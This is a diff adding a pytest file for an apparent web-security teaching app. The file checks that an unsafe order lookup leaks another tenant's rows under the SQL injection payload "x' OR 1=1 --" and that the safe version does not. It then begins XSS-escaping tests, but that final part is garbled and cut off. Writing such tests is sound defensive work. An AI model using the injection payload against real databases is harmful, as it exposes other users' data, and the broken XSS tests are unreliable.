b/topics/cs/web-security/examples/secure-api/test_secure_app.py @@ -0,0 +1,71 @@ +# requires: fastapi, httpx +import pytest +from fastapi.testclient import TestClient + +from secure_app import (DB, app, check_fetch_url, find_orders_safe, find_orders_unsafe, render_answer_safe, + render_answer_unsafe) + +client = TestClient(app, base_url="https://testserver") + + +def test_sql_injection_unsafe_leaks_other_tenant(): + rows = find_orders_unsafe(DB, "t1", "x' OR 1=1 --") + assert ("B001", "t2") in rows # 证明漏洞真实存在 + + +def test_sql_injection_safe(): + assert find_orders_safe(DB, "t1", "x' OR 1=1 --") == [] + assert find_orders_safe(DB, "t1", "A00") == [("A001", "t1"), ("A002", "t1")] + + +def test_xss_escaped(): + evil = '' + assert "alert(1)"}) + assert "